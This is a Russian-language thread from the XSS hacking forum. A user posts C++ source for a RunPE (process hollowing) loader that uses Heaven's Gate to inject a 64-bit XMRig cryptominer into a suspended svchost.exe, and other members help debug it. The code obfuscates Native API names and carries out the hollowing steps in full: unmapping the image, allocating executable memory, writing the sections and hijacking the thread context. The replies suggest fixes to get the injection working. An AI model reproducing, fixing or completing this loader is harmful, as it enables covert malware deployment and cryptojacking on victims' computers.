• XSS.stack #1 – первый литературный журнал от юзеров форума

Помогите с RunPE (Process Hollowing) x32->x64

IPirateS6

(L3) cache
Пользователь
Регистрация
02.06.2020
Сообщения
211
Реакции
107
RU: Не могу заинжектить прогу (в моём случае 64 битный XMRig, да и другие бинарники пробовал такая же фигня) из-под x32 (WOW64) приложения в х64 (в моём случае это svchost.exe) c помощью Heavens Gate (wow64ext либа). Когда смотрю на память в Process Hacker, там не отображаются изменения (то ли действительно код нифига не делает, то ли Process Hacker отказывается показывать изменения в SUSPENDED процессе).
EN: Can not inject program (in my case 64-bit XMRig, other binaries tried - same shit) from x32(WOW64) program to x64 (in my case svchost.exe) with help of Heavens Gate (wow64ext library). When I look at memory in Process Hacker, there are no changes (either the code really does nothing or Process Hacker does not want to show changes in SUSPENDED process).

C++:
#include "cRunPE.h"
#include "wow64ext.h"
#include <winternl.h>

#define RUNPE_FAILED 1



INT RunPE(LPBYTE lpImage, LPSTR pszParams)
{
    IMAGE_DOS_HEADER* idhDOSHeader;
    IMAGE_NT_HEADERS* inhNtHeader;
    IMAGE_NT_HEADERS64* inhNtHeader64;
    IMAGE_SECTION_HEADER* SectionHeader;

    PROCESS_INFORMATION pInfo;
    STARTUPINFOA sInfo;

    nApi::fpMemset(&sInfo, NULL, sizeof(sInfo));
    nApi::fpMemset(&pInfo, NULL, sizeof(pInfo));

    CONTEXT* cCTX;
    CONTEXT64* cCTX64;

    DWORD* dwImageBase;
    DWORD64* dwImageBase64;
    LPVOID lpImageBase;
  


    INT iCount;

    idhDOSHeader = (PIMAGE_DOS_HEADER)(lpImage);

    if (nApi::isX64OS)
    {
        inhNtHeader64 = (PIMAGE_NT_HEADERS64)(DWORD(lpImage) + idhDOSHeader->e_lfanew);
      
        if (inhNtHeader64->Signature != IMAGE_NT_SIGNATURE)
            return RUNPE_FAILED;

        cCTX64 = (CONTEXT64*)nApi::fpVirtualAlloc(NULL, sizeof(cCTX64), MEM_COMMIT, PAGE_READWRITE);
        cCTX64->ContextFlags = CONTEXT_FULL;

        if (nApi::lpVersionInformation.dwMajorVersion != 5) {
            PVOID OldValue = NULL;
            nApi::fpWow64DisableWow64FsRedirection(&OldValue);
        }

        nApi::fpCreateProcessA(nStr::pszSvchostPath, pszParams, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &sInfo, &pInfo); // nStr::pszSvchostPath = "C:\\Windows\\System32\\svchost.exe";

        DWORD64 hNtdll = getNTDLL64();
        CHAR pszNtGetContextThread[] = { 'N', 't', 'G', 'e', 't', 'C', 'o', 'n', 't', 'e', 'x', 't', 'T', 'h', 'r', 'e', 'a', 'd', '\0' };
        CHAR pszNtReadVirtualMemory[] = { 'N', 't', 'R', 'e', 'a', 'd', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y', '\0' };
        CHAR pszNtUnmapViewOfSection[] = { 'N', 't', 'U', 'n', 'm', 'a', 'p', 'V', 'i', 'e', 'w', 'O', 'f', 'S', 'e', 'c', 't', 'i', 'o', 'n', '\0' };
        CHAR pszNtAllocateVirtualMemory[] = { 'N', 't', 'A', 'l', 'l', 'o', 'c', 'a', 't', 'e', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y', '\0' };
        CHAR pszNtResumeThread[] = { 'N', 't', 'R', 'e', 's', 'u', 'm', 'e', 'T', 'h', 'r', 'e', 'a', 'd', '\0' };
        CHAR pszNtWriteVirtualMemory[] = { 'N', 't', 'W', 'r', 'i', 't', 'e', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y', '\0' };
        CHAR pszNtSetContextThread[] = { 'N', 't', 'S', 'e', 't', 'C', 'o', 'n', 't', 'e', 'x', 't', 'T', 'h', 'r', 'e', 'a', 'd', '\0' };


        DWORD64 MyNtGetContextThread = GetProcAddress64(hNtdll, pszNtGetContextThread);
        DWORD64 MyNtReadVirtualMemory = GetProcAddress64(hNtdll, pszNtReadVirtualMemory);
        DWORD64 MyNtUnmapViewOfSection = GetProcAddress64(hNtdll, pszNtUnmapViewOfSection);
        DWORD64 MyNtAllocateVirtualMemory = GetProcAddress64(hNtdll, pszNtAllocateVirtualMemory);
        DWORD64 MyNtResumeThread = GetProcAddress64(hNtdll, pszNtResumeThread);
        DWORD64 MyNtWriteVirtualMemory = GetProcAddress64(hNtdll, pszNtWriteVirtualMemory);
        DWORD64 MyNtSetContextThread = GetProcAddress64(hNtdll, pszNtSetContextThread);


        DWORD64 dwRet64 = 0;

        DWORD64 lpImageBase64 = 0;
      
        dwRet64 = X64Call(MyNtGetContextThread, 2, (DWORD64)pInfo.hThread, (DWORD64)((CONTEXT64*)cCTX64));
        if (NT_SUCCESS(dwRet64))
        {
            dwRet64 = X64Call(MyNtReadVirtualMemory, 5, (DWORD64)pInfo.hProcess, (DWORD64)(cCTX64->Rdx + (sizeof(DWORD64) * 2)), (DWORD64)(&lpImageBase64), (DWORD64)8, (DWORD64)NULL);
            if (!NT_SUCCESS(dwRet64))
                return RUNPE_FAILED;

            if (DWORD64(lpImageBase64) == inhNtHeader64->OptionalHeader.ImageBase)
            {
                dwRet64 = X64Call(MyNtUnmapViewOfSection, 2, (DWORD64)pInfo.hProcess, (DWORD64)lpImageBase64);
                if (!NT_SUCCESS(dwRet64))
                    return RUNPE_FAILED;     
            }
          
            DWORD64 mem = inhNtHeader64->OptionalHeader.ImageBase;
            DWORD64 tmpSize = inhNtHeader64->OptionalHeader.SizeOfImage;
            dwRet64 = X64Call(MyNtAllocateVirtualMemory, 6, (DWORD64)pInfo.hProcess, (DWORD64)&mem, (DWORD64)0, (DWORD64)&tmpSize, (DWORD64)(MEM_COMMIT | MEM_RESERVE), (DWORD64)PAGE_EXECUTE_READWRITE);

            if (!mem || !NT_SUCCESS(dwRet64)) {
                X64Call(MyNtResumeThread, (DWORD64)2, (DWORD64)pInfo.hThread, 0);
                return RUNPE_FAILED;
            }
          
          
            dwRet64 = X64Call(MyNtWriteVirtualMemory, 5, (DWORD64)pInfo.hProcess, (DWORD64)mem, (DWORD64)lpImage, (DWORD64)inhNtHeader64->OptionalHeader.SizeOfHeaders, (DWORD64)NULL);
            if (!NT_SUCCESS(dwRet64)) {
                X64Call(MyNtResumeThread, (DWORD64)2, (DWORD64)pInfo.hThread, 0);
                return RUNPE_FAILED;
            }
          
          
            
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(inhNtHeader64);
            for (int section = 0; section < inhNtHeader64->FileHeader.NumberOfSections; section++) {
                dwRet64 = X64Call(MyNtWriteVirtualMemory, 5, (DWORD64)pInfo.hProcess, DWORD64(DWORD64(mem) + pSectionHeader[section].VirtualAddress), DWORD64(DWORD64(lpImage) + pSectionHeader[section].PointerToRawData), (DWORD64)pSectionHeader[section].SizeOfRawData, (DWORD64)NULL);
            }

            /*for (int section = 0; section < inhNtHeader64->FileHeader.NumberOfSections; section++) {
                SectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)lpImage + idhDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS64) + (section * sizeof(IMAGE_SECTION_HEADER)));
                dwRet64 = X64Call(MyNtWriteVirtualMemory, 5, (DWORD64)pInfo.hProcess, (DWORD64)((LPBYTE)mem + SectionHeader->VirtualAddress), (DWORD64)((LPBYTE)lpImage + SectionHeader->PointerToRawData), (DWORD64)SectionHeader->SizeOfRawData, (DWORD64)NULL);
                if (!NT_SUCCESS(dwRet64)) {
                    char aa[20]; wsprintfA(aa, "%d", dwRet64);
                    MessageBoxA(0, (LPSTR)SectionHeader->Name, aa, 0);
                }
            }*/
          
            cCTX64->Rcx = (DWORD64)((LPBYTE)mem + inhNtHeader64->OptionalHeader.AddressOfEntryPoint);
          
            X64Call(MyNtWriteVirtualMemory, 5, (DWORD64)pInfo.hProcess, (DWORD64)(cCTX64->Rcx + (sizeof(DWORD64)*2)), (DWORD64)&inhNtHeader64->OptionalHeader.ImageBase, sizeof(DWORD64), (DWORD64)NULL);

            X64Call(MyNtSetContextThread, 2, (DWORD64)pInfo.hThread, (DWORD64)cCTX64);

            X64Call(MyNtResumeThread, 2, (DWORD64)pInfo.hThread, (DWORD64)NULL);
          
        }

    }
}
 
Последнее редактирование:
запусти messagebox и посмотри ) работает или нет. На майнере не надо тестить.
На чём я его только не тестил. И на калькуляторе, и на файлзилле, и даже на путти. Всё без толку
 
На чём я его только не тестил. И на калькуляторе, и на файлзилле, и даже на путти. Всё без толку
Вот уже и на меседжбоксе протестил - нифига.
Мб у кого-то есть готовая реализация с wow64ext?
 
Вот уже и на меседжбоксе протестил - нифига.
говорю пробуй не майнер запускать, а messagebox , как полезную нагрузку. Или так делал? Потому что майнер имеет какие-то нюансы, его и по LoadPE сложно загрузить!
 
говорю пробуй не майнер запускать, а messagebox , как полезную нагрузку. Или так делал? Потому что майнер имеет какие-то нюансы, его и по LoadPE сложно загрузить!
Да, так делал. Пробовал грузить другим RunPE прожектом - всё было ок.
 
А ты уверен, что NativeAPI функции, которые ты вызываешь, правильно находятся?
Если ты имеешь в виду не равны ли NT функции 0, то да, это так.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
В библиотеке револьфа GetProcAddress64 криво работала, по крайней мере последний раз, когда я имел дела с ней.
Переделал GetProcAddress64 на ручной разбор экспорта модуля с поиском требуемой функции, и, о чудо, все заработало нормально.
Ты вообще уверен, что адреса валидные?
 
В библиотеке револьфа GetProcAddress64 криво работала, по крайней мере последний раз, когда я имел дела с ней.
Переделал GetProcAddress64 на ручной разбор экспорта модуля с поиском требуемой функции, и, о чудо, все заработало нормально.
Ты вообще уверен, что адреса валидные?
GetProcAddress64 не переделывал. Можно твой переделанный код?
Ты вообще уверен, что адреса валидные?
Не уверен, но и хз как проверить их на валидность)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
GetProcAddress64 не переделывал. Можно твой переделанный код?

Не уверен, но и хз как проверить их на валидность)
Кода под рукой нет, возьми любую функцию-альтернативу getprocaddress и поменяй структурки и числа на 64-битные.
Кинь проект под хайд, гляну детальнее, если хочешь.
 
Кода под рукой нет, возьми любую функцию-альтернативу getprocaddress и поменяй структурки и числа на 64-битные.
Кинь проект под хайд, гляну детальнее, если хочешь.
Скрытый контент для пользователей: .
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Пожалуйста, обратите внимание, что пользователь заблокирован


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх